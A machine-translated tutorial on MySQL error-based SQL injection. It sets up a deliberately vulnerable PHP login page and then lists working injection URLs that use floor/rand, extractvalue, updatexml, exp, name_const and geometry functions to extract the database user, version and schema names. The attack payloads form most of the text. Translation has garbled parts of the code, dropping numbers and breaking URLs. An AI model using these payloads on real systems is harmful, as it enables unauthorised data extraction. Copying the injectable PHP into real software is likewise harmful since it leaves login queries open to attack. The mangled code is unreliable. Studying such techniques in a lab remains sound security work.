SQL error injection of more than 10 kinds of injection methods

Last Update:2016-04-20 Source: Internet

Author: User

Tags rand sql error

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Error injection principle: Due to the conflict between Rand and Group+by, rand () is not a conditional field for order by, nor can it be a conditional field for group by. Floor (rand (0) * *) gets an indeterminate and duplicate value resulting in MySQL error floor: Rounding down, preserving only integral parts, rand (0)-0~1 Local Environment build database test injection posture:

Mysql> Create DatabaseSqli;mysql> Create Table User(IDint( One) not NULLAuto_incrementPrimary Key, namevarchar( -) not NULL, passvarchar( +) not NULL    ); MySQL> Insert  into User(Name, pass)Values('Admin', MD5 ('admin888')), ('Guest', MD5 ('Guest'));

The following files are created at the site root: index.php

<? php$conn=mysql_connect ("localhost", "root", "root");//connection database, account root, password rootif(! $conn) {die ("Connection failed:". Mysql_error ());} mysql_select_db ("Sqli", $conn);//Verify Login Infoif(Isset ($_get[' name '])&&Isset ($_get[' Pass ']) {$name=$_get[' name ']; $pass=MD5 ($_get[' Pass ']); $query="Select *  from User whereName='$name'  andPass='$pass'"; if($result=mysql_query ($query, $conn)) {$row=mysql_fetch_array ($result, MYSQL_ASSOC); if($row) {echo '<Script>Alert'Login successful!');</Script>"; }    } Else{die ("Operation error:".)    Mysql_error ()); }}mysql_close ();?><! DOCTYPE html><Html><Head>    <Title>Login</Title></Head><Body><Center>    <Form method="Get" action="">        <Label>Username:</Label><input type="text"Name="Name" value=""/><Br/>        <Label>Password:</Label><input type="Password" name="Pass" value=""/><Br/>        <input type="Submit" value="Login"/>    </Form></Center></Body></Html>

Index.php's PHP Verification login code is simple:

$name=$_get[' name ']; $pass=MD5 ($_get[' Pass ']); $query="Select *  from User whereName='$name'  andPass='$pass'";

$name parameter is an obvious injection point.

1, through Floor () Error:

http://localhost/index. Php?name='+or+ (Select+1+from (select+ Count (*), concat (User (), 0x7e,floor (rand (0))) x+from+information_schema.tables+group+by+x) a) +%23&pass=1

# Burst database: Replace the keyword with the one you want to query

http://localhost/index. Php?name='+or+ (select 1 from (SELECT Count (*), Concat ((select (SELECT DISTINCT concat (0x7e,schema_name,0x7e) from Information_schema.schemata LIMIT 0,1)) From Information_schema.tables limit 0,1), floor (rand (0) *) x from Information_schema.tables Group by X) a) +%23&pass =1

2, through Extractvalue () Error:

http://localhost/index. Php?name='+or+extractvalue (1, Concat (User (), 0x7e,version ())) +%23&pass=1

3, through Updatexml () Error:

http://localhost/index. Php?name='+or+updatexml (1,concat (User ( ), 0x7e,version ()), 1) +%23&pass=1

4, through exp () Error: In detail, see: https://osandamalith.wordpress.com/2015/07/15/error-based-sql-injection-using-exp/

http://localhost/index. Php?name='+or+exp (~ (SELECT * FROM ( Select User ()) a) +%23&pass=1

5, through the Name_const (for the lower version) error:

http://localhost/index. Php?name='+or+ (SELECT * FROM (select Name_ CONST (Version (), 1), Name_const (version (), 1)) as X) +%23&pass=1

6, through Multipoint (), Multipolygon (), multilinestring (), linestring (), geometrycollection (), Polygon () and other functions of the error:

http//localhost/Index. php?name='+or+multipoint ((SELECT * FROM (SELECT * () () a) b) +%23&pass=1http://localhost/index.php?name= '+or+Multipolygon ((Select *  from(Select *  from(Select Database()) a) (b))+% at&Pass=1http://localhost/Index. php?name='+or+multilinestring ((SELECT * FROM (select User () a) b)) +%23&pass=1http://localhost/index.php? Name='+or+LINESTRING ((Select *  from(Select *  from(Select User()) a) (b))+% at&Pass=1http://localhost/Index. php?name='+or+geometrycollection ((SELECT * FROM (SELECT * () () a) b) +%23&pass=1http://localhost/ Index.php?name='+or+Polygon ((Select *  from(Select *  from(Select User()) a) (b))+% at&Pass=1

SQL error injection of more than 10 kinds of injection methods

This article is an English version of an article which is originally in the Chinese language on aliyun.com and is provided for information purposes only. This website makes no representation or warranty of any kind, either expressed or implied, as to the accuracy, completeness ownership or reliability of the article or any translations thereof. If you have any concerns or complaints relating to the article, please send an email, providing a detailed description of the concern or complaint, to info-contact@alibabacloud.com. A staff member will contact you within 5 working days. Once verified, infringing content will be removed immediately.

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